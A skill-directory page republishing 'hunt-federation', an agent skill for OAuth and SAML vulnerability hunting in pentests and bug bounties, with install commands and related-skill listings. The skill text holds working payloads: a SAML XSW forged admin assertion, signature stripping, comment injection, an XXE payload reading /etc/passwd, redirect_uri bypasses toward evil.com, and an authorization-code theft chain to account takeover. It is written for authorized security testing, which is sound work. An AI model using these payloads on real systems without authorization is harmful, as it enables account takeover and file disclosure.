Better Auth Security Best Practices
EpicenterHQ/epicenter
Better Auth security hardening: rate limits, secrets, CSRF, trusted origins, cookies, sessions, OAuth tokens, and audit logging.
OAuth and SAML attack hunting - redirecturi bypass, state CSRF, SAML XSW (XSW1-XSW8), signature stripping, comment injection.
$ npx skills add Encod3d-Sec/TORCH --skill hunt-federation -a claude-codeProject install by default; add -g for ~/.claude/skills/.
$ gh skill install Encod3d-Sec/TORCH hunt-federation --agent claude-codeProject scope by default; add --scope user for a personal install. Needs GitHub CLI 2.90.0 or later (public preview).
$ git clone --depth 1 https://github.com/Encod3d-Sec/TORCH.git skills-src && mkdir -p .claude/skills && cp -r skills-src/skills/hunt/hunt-federation .claude/skills/hunt-federation && rm -rf skills-srcUse ~/.claude/skills/ instead of .claude/skills for a personal install. The folder must contain SKILL.md.
Claude Code skills documentation · loads skills from .claude/skills/
Install the "hunt-federation" agent skill from https://github.com/Encod3d-Sec/TORCH/tree/main/skills/hunt/hunt-federation into .claude/skills/hunt-federation/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "hunt-federation", then confirm the skill loads.Claude Code copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
$skill-installer install https://github.com/Encod3d-Sec/TORCH/tree/main/skills/hunt/hunt-federationType this inside Codex. $skill-installer <name> installs a curated skill from openai/skills. The installer writes to $CODEX_HOME/skills (default ~/.codex/skills). Restart Codex if the skill does not show up.
$ npx skills add Encod3d-Sec/TORCH --skill hunt-federation -a codexProject install goes to .agents/skills/; add -g for ~/.codex/skills/.
$ gh skill install Encod3d-Sec/TORCH hunt-federation --agent codexProject scope by default (.agents/skills/); add --scope user for a personal install.
$ git clone --depth 1 https://github.com/Encod3d-Sec/TORCH.git skills-src && mkdir -p .agents/skills && cp -r skills-src/skills/hunt/hunt-federation .agents/skills/hunt-federation && rm -rf skills-srcUse ~/.agents/skills/ instead of .agents/skills for a personal install.
Codex skills documentation · loads skills from .agents/skills/
Install the "hunt-federation" agent skill from https://github.com/Encod3d-Sec/TORCH/tree/main/skills/hunt/hunt-federation into .agents/skills/hunt-federation/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "hunt-federation", then confirm the skill loads.Codex copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
$ npx skills add Encod3d-Sec/TORCH --skill hunt-federation -a cursorProject install goes to .agents/skills/; add -g for ~/.cursor/skills/.
$ gh skill install Encod3d-Sec/TORCH hunt-federation --agent cursorProject scope by default (.agents/skills/); add --scope user for a personal install.
$ git clone --depth 1 https://github.com/Encod3d-Sec/TORCH.git skills-src && mkdir -p .cursor/skills && cp -r skills-src/skills/hunt/hunt-federation .cursor/skills/hunt-federation && rm -rf skills-srcUse ~/.cursor/skills/ instead of .cursor/skills for a personal install.
Cursor skills documentation · loads skills from .cursor/skills/, .agents/skills/, .claude/skills/, .codex/skills/
Install the "hunt-federation" agent skill from https://github.com/Encod3d-Sec/TORCH/tree/main/skills/hunt/hunt-federation into .cursor/skills/hunt-federation/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "hunt-federation", then confirm the skill loads.Cursor copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
$ gemini skills install https://github.com/Encod3d-Sec/TORCH.git --path skills/hunt/hunt-federation--scope user (default) or --scope workspace; --path is the subfolder of the repo that holds the skill; --consent skips the security confirmation prompt.
$ npx skills add Encod3d-Sec/TORCH --skill hunt-federation -a gemini-cliProject install goes to .agents/skills/; add -g for ~/.gemini/skills/.
$ gh skill install Encod3d-Sec/TORCH hunt-federation --agent gemini-cliProject scope by default (.agents/skills/); add --scope user for a personal install.
$ git clone --depth 1 https://github.com/Encod3d-Sec/TORCH.git skills-src && mkdir -p .gemini/skills && cp -r skills-src/skills/hunt/hunt-federation .gemini/skills/hunt-federation && rm -rf skills-srcUse ~/.gemini/skills/ instead of .gemini/skills for a personal install, then run /skills reload.
Gemini CLI skills documentation · loads skills from .gemini/skills/, .agents/skills/
Install the "hunt-federation" agent skill from https://github.com/Encod3d-Sec/TORCH/tree/main/skills/hunt/hunt-federation into .gemini/skills/hunt-federation/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "hunt-federation", then confirm the skill loads.Gemini CLI copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
$ gh skill install Encod3d-Sec/TORCH hunt-federationInstalls for Copilot at project scope by default; add --scope user for a personal install. Preview a skill first with gh skill preview. Needs GitHub CLI 2.90.0 or later (public preview).
$ npx skills add Encod3d-Sec/TORCH --skill hunt-federation -a github-copilotProject install goes to .agents/skills/; add -g for ~/.copilot/skills/.
$ git clone --depth 1 https://github.com/Encod3d-Sec/TORCH.git skills-src && mkdir -p .github/skills && cp -r skills-src/skills/hunt/hunt-federation .github/skills/hunt-federation && rm -rf skills-srcUse ~/.copilot/skills/ instead of .github/skills for a personal install. Commit .github/skills so cloud agent and code review can use it.
GitHub Copilot skills documentation · loads skills from .github/skills/, .claude/skills/, .agents/skills/
Install the "hunt-federation" agent skill from https://github.com/Encod3d-Sec/TORCH/tree/main/skills/hunt/hunt-federation into .github/skills/hunt-federation/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "hunt-federation", then confirm the skill loads.GitHub Copilot copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
$ npx skills add Encod3d-Sec/TORCH --skill hunt-federation -a opencodeOpenCode documents no install command of its own. Project install goes to .agents/skills/; add -g for ~/.config/opencode/skills/.
$ gh skill install Encod3d-Sec/TORCH hunt-federation --agent opencodeProject scope by default (.agents/skills/); add --scope user for a personal install.
$ git clone --depth 1 https://github.com/Encod3d-Sec/TORCH.git skills-src && mkdir -p .opencode/skills && cp -r skills-src/skills/hunt/hunt-federation .opencode/skills/hunt-federation && rm -rf skills-srcUse ~/.config/opencode/skills/ instead of .opencode/skills for a personal install.
OpenCode skills documentation · loads skills from .opencode/skills/, .claude/skills/, .agents/skills/
Install the "hunt-federation" agent skill from https://github.com/Encod3d-Sec/TORCH/tree/main/skills/hunt/hunt-federation into .opencode/skills/hunt-federation/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "hunt-federation", then confirm the skill loads.OpenCode copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
hunt-federationOAuth and SAML attack hunting - redirecturi bypass, state CSRF, SAML XSW (XSW1-XSW8), signature stripping, comment injection.
Hunt Federation is an agent skill from Encod3d-Sec/TORCH. OAuth and SAML attack hunting - redirecturi bypass, state CSRF, SAML XSW (XSW1-XSW8), signature stripping, comment injection. Wiki-first, FIND schema output.
Its SKILL.md is about 1.8k tokens, which your agent loads only when the skill is triggered. It is a single SKILL.md file with no bundled scripts.
It sits in Backend & APIs, covering Web application vulnerabilities and OAuth and OpenID Connect. The repository describes itself as: Karpathy LLM based claude harness for PenetrationTesting / Bugbounty using obsidian. The licence is MIT.
5 steps, taken from the first numbered list in SKILL.md.
Read from SKILL.md and the folder at commit d21b6c9. It shows what the files ask for, not the result of running them.
Pre-approves nothing: there is no allowed-tools line, so your agent's usual permission prompts apply.
From allowed-tools in the SKILL.md frontmatter.
Shell commands in SKILL.md call:
python3From the folder's file list and the shell code blocks in SKILL.md.
Hosts in commands or code, which the agent is likely to contact:
legit.comFrom URLs in SKILL.md, links to its own repository left out.
Names no API keys, tokens, secrets or passwords.
From names ending in _API_KEY, _TOKEN, _SECRET, _KEY or _PASSWORD in SKILL.md.
Hunt Federation loads about 1.8k tokens when it runs. Until then it costs about 44 tokens; SKILL.md has 706 words of instructions outside code blocks.
Estimates: characters ÷ 4, the usual rule of thumb; real counts depend on the model's tokenizer. Scripts and assets cost tokens only if the agent reads them.
The automated check found no risky patterns in SKILL.md.
Automated static check — not a guarantee. Review scripts before installing. It scans the text of SKILL.md for risky patterns (piping downloads into a shell, reading credential files, hidden Unicode, destructive commands); files beside SKILL.md are not scanned.
The full file from Encod3d-Sec/TORCH at commit d21b6c9, republished under its MIT licence (© Encod3d-Sec). 706 words, ~1,816 tokens.
.claude/skills/hunt-federation/SKILL.md (or your agent's skills folder).Assumes hunt-core for the scope gate, two-account rule, confirmation gate, enumeration limits, stop conditions, wiki protocol, FIND output, and Deadends. Do not re-derive any of that here.
qmd_query "OAuth SAML federation redirect_uri bypass XSW signature stripping state CSRF" via wiki-search MCPHub: [[web-moc]] (live index). Primary page: [[oauth-attacks]]. Payload arsenal: wiki/payloads/oauth-saml.md.
Anchors: [[saml-attacks]].
Entry points:
/oauth/authorize /oauth/token /oauth/callback /auth/callback
/saml/ /saml/acs /sso/saml /auth/saml/callback
/login?redirect_uri= /signin?next=Rank before testing - most federation payouts come from the top of this list:
state on the OAuth callback enables login-CSRF and
attacker-to-victim account linking..well-known/openid-configuration, JS bundles, APK resources:
leaked client_secret, extra grant types, unadvertised endpoints.<!-- Original: legit assertion by user@company.com -->
<!-- Modified: inject evil assertion with admin@company.com before the signed one -->
<saml:Response>
<saml:Assertion ID="evil">
<NameID>admin@company.com</NameID> <!-- Attacker-controlled -->
</saml:Assertion>
<saml:Assertion ID="legit">
<NameID>user@company.com</NameID>
<ds:Signature><!-- Valid, covers ID=legit --></ds:Signature>
</saml:Assertion>
</saml:Response>Use SAMLRaider Burp extension for automated XSW1-XSW8 testing.
# 1. Decode
echo "BASE64_SAML" | base64 -d | xmllint --format - > saml.xml
# 2. Delete entire <Signature> element
# 3. Change NameID to admin@company.com
# 4. Re-encode
base64 -w0 saml.xml
# 5. POST -- if server doesn't verify signature = Critical ATO<NameID>admin<!---->@company.com</NameID>
<!-- Signature covers "admin<!---->@company.com" but parser sees "admin@company.com" --><?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<saml:Assertion><NameID>&xxe;</NameID></saml:Assertion>Try: redirect_uri=https://legit.com.evil.com
Try: redirect_uri=https://legit.com/callback/../../../evil
Try: redirect_uri=https://legit.com&redirect_uri=https://evil.com (param pollution)
Try: encoded chars %2F %40 %23state parameter entirely - does the flow complete?state validated server-side or only client-side?Setup: two accounts per hunt-core - a victim SSO identity and an attacker identity/client, in
separate browser profiles so SSO cookies never cross.
.well-known/openid-configuration for OIDC surfaceclient_secret in JS bundles or APK resourcespython3 scripts/wiki-stage.py --kind technique --slug <slug> --target-page techniques/web/oauth-attacks.md (SAML findings: python3 scripts/wiki-stage.py --kind technique --slug <slug> --target-page techniques/web/saml-attacks.md).Chain: a permissive redirect_uri (host confusion, path traversal, param pollution, or the post-auth
Referer leak above) -> steal the authorization code -> exchange it at /oauth/token -> full ATO. A
trusted NameID / sub from a stripped or XSW assertion is itself an auth bypass; hand the resulting
session to hunt-auth for reset-poisoning and session follow-through.
Evasion when the direct attempt is rejected: cycle the remaining redirect_uri encodings
(%2F %40 %23, legit.com.evil.com, legit.com/../evil, double redirect_uri=) before calling it
validated; when XSW1/2 fail, walk XSW3-XSW8 with SAML Raider (each moves the wrapper relative to the
signed element and the Response-vs-Assertion boundary) before declaring signatures enforced.
NOT confirmation: a redirect that carries an authorization code or token in its URL; an IdP or SP
returning 200 on a modified SAMLResponse; the assertion "accepted"; the flow completing with state
removed; any error, even a revealing one. None of these prove you hold another account.
IS confirmation: a token or authenticated session for another account, obtained through the flaw -
an authorization code stolen via an attacker-controlled redirect_uri and exchanged for that account's
token, or a forged / XSW / signature-stripped assertion that logs you in as the victim (admin session
reached). Then exercise the session, and reproduce from scratch in a clean browser profile with no cached
SSO state (per hunt-core). If the session vanishes in a clean profile, you replayed your own login.
Rated on the session actually obtained, not on what the server merely accepted.
| Outcome | Typical |
|---|---|
| Forged / XSW / stripped assertion logs in as admin (SAML auth bypass) | critical - direct ATO |
| redirect_uri bypass yields a victim's code/token, exchanged to a session | critical / high - ATO |
Login-CSRF via missing state (attacker session linked to a victim) | medium / high |
Leaked client_secret / OIDC misconfig, no cross-account session obtained | low - enables other attacks |
Unauthenticated ATO outranks one needing victim interaction. An assertion the SP accepts that yields no other-account session is not a finding - it is a Deadend.
Append: - [ ] SAML/OAuth on <host> -- XSW1-8 + strip + comment rejected, signature covers NameID;
redirect_uri strictly validated (no encoding/host/traversal/pollution bypass); state enforcedRecord which variants you tried, not just that it failed - the next pass needs the boundary.
© Encod3d-Sec, MIT. Rendered from Markdown: HTML in the file is shown as text, images as links, and headings moved down two levels. Raw file
Just SKILL.md in skills/hunt/hunt-federation of Encod3d-Sec/TORCH.
Open the folder on GitHubat commit d21b6c9
Hunt Federation next to the 5 skills that share the most tags, products or categories with it. Stars are the repository's; “used in” counts other GitHub owners with a copy.
| Skill | Stars | Used in | Tokens | Auto-check | Licence | Repo updated |
|---|---|---|---|---|---|---|
| Hunt Federation this skillEncod3d-Sec/TORCH | 329 | — | ~1.8k | Automated safety check: Pass | MIT | |
| Better Auth Security Best PracticesEpicenterHQ/epicenter | 4.8k | — | ~896 | Automated safety check: Pass | Custom licence | |
| Implementing API Threat Protection With Apigeemukul975/Anthropic-Cybersecurity-Skills | 34k | — | ~2.8k | Automated safety check: Pass | Apache-2.0 | |
| Web Ssrfs0ld13rr/pentestcode | 828 | — | ~660 | Automated safety check: Warn | MIT | |
| Secure Authjamditis/claude-skills-journalism | 416 | — | ~14k | Automated safety check: Pass | MIT | |
| Discord Php Bot Securitydiscord-php/DiscordPHP | 1.1k | — | ~1.2k | Automated safety check: Notes | MIT |
EpicenterHQ/epicenter
Better Auth security hardening: rate limits, secrets, CSRF, trusted origins, cookies, sessions, OAuth tokens, and audit logging.
mukul975/Anthropic-Cybersecurity-Skills
Implements API threat protection using Google Apigee reverse-proxy policies, including JSON/XML threat protection, OAuth 2.0 enforcement, SpikeArrest rate limiting, regex-based threat detection, and…
s0ld13rr/pentestcode
Server-Side Request Forgery detection→internal-access→proof for web apps.
jamditis/claude-skills-journalism
Secure authentication patterns (OWASP, NIST). An agent skill from jamditis/claude-skills-journalism.
discord-php/DiscordPHP
Audit checklist for DiscordPHP bots and API libraries — stop the bot token leaking to third-party APIs or logs, keep secrets out of customids and exception messages, use constant-time comparison and…
agentfront/frontmcp
A skill your agent uses when customizing, branding, or replacing the built-in FrontMCP OAuth pages (the login, consent, federated-select, incremental-authorization, and error pages) with your own…
Encod3d-Sec/TORCH
Runs a bug-bounty engagement through a script that tracks the current pass, builds a board of rows from recon and prints the next required action each turn.
Encod3d-Sec/TORCH
Checks that the bb, pt and ctf workflow driver is set up correctly on a machine: vault content, skill symlinks, hooks, imports and a live smoke test, with fixes for failures.
Encod3d-Sec/TORCH
Opens a visible Chromium window on a Kali VM so an operator can complete a manual login or CAPTCHA while the agent watches and acts through the chrome-devtools MCP.
Encod3d-Sec/TORCH
Runs a capture-the-flag box from first scan to root with a driver script that tracks progress and prints the next action each turn.
Encod3d-Sec/TORCH
Decides when a main pentesting agent should hand a fully-specified, mechanical exploit-compile or privilege-escalation step to a cheaper sub-agent, and how to specify that handoff safely.
Encod3d-Sec/TORCH
Adaptive web fuzzing for pentests, bug bounty and CTF work: picks the smallest suitable SecLists wordlist per target surface and calibrates filters against soft-404 responses.
Categories
OAuth and SAML attack hunting - redirecturi bypass, state CSRF, SAML XSW (XSW1-XSW8), signature stripping, comment injection. Hunt Federation is an agent skill from Encod3d-Sec/TORCH. OAuth and SAML attack hunting - redirecturi bypass, state CSRF, SAML XSW (XSW1-XSW8), signature stripping, comment injection.
Hunt Federation fits situations like: tasks that involve Web application vulnerabilities; tasks that involve OAuth and OpenID Connect.
Run `npx skills add Encod3d-Sec/TORCH --skill hunt-federation -a claude-code`. Or copy the skill folder (skills/hunt/hunt-federation in Encod3d-Sec/TORCH) into .claude/skills/hunt-federation in your project. Claude Code loads it when a task matches its description.
Run `npx skills add Encod3d-Sec/TORCH --skill hunt-federation -a codex`. Or copy the skill folder (skills/hunt/hunt-federation in Encod3d-Sec/TORCH) into .agents/skills/hunt-federation in your project. Codex loads it when a task matches its description.
Cursor, Gemini CLI, GitHub Copilot and OpenCode also load SKILL.md folders. With the skills CLI, run `npx skills add Encod3d-Sec/TORCH --skill hunt-federation -a cursor` (or -a gemini-cli, github-copilot or opencode for the others). To copy it by hand, put the folder in .cursor/skills/hunt-federation, .gemini/skills/hunt-federation, .github/skills/hunt-federation and .opencode/skills/hunt-federation in your project.
Going by SKILL.md and its folder, Hunt Federation needs the command-line tools its instructions call (python3). Our summary lists: Python 3.
SKILL.md names 1 domain. In commands or code: legit.com; the agent is likely to contact it when it follows the instructions. This is read from the text; nothing was executed.
Our automated static check of SKILL.md found no risky patterns, such as piping downloads into a shell, reading credential files or hidden Unicode. It is not a guarantee. Review the folder before installing.
Hunt Federation is published under the MIT licence (the repository's licence). It allows redistribution, so the full SKILL.md is shown on this page.
About 1.8k tokens (SKILL.md is roughly 7.3k characters). Agents keep only the skill's name and description in context until a task matches; then they load SKILL.md in full.
Skills that share tags, products or a category with Hunt Federation: Better Auth Security Best Practices (EpicenterHQ/epicenter, 4.8k stars), Implementing API Threat Protection With Apigee (mukul975/Anthropic-Cybersecurity-Skills, 34k stars), Web Ssrf (s0ld13rr/pentestcode, 828 stars) and Secure Auth (jamditis/claude-skills-journalism, 416 stars). The comparison table on this page puts their stars, adoption, token cost, safety result and licence side by side.
Encod3d-Sec (a GitHub user) maintains it in Encod3d-Sec/TORCH, which has 329 GitHub stars. The repository holds 35 skills in this directory. The repository was last updated on September 1, 2026.
Source: Encod3d-Sec/TORCH on GitHub. Facts on this page come from the repository at the commit we read; the author's words are quoted as theirs.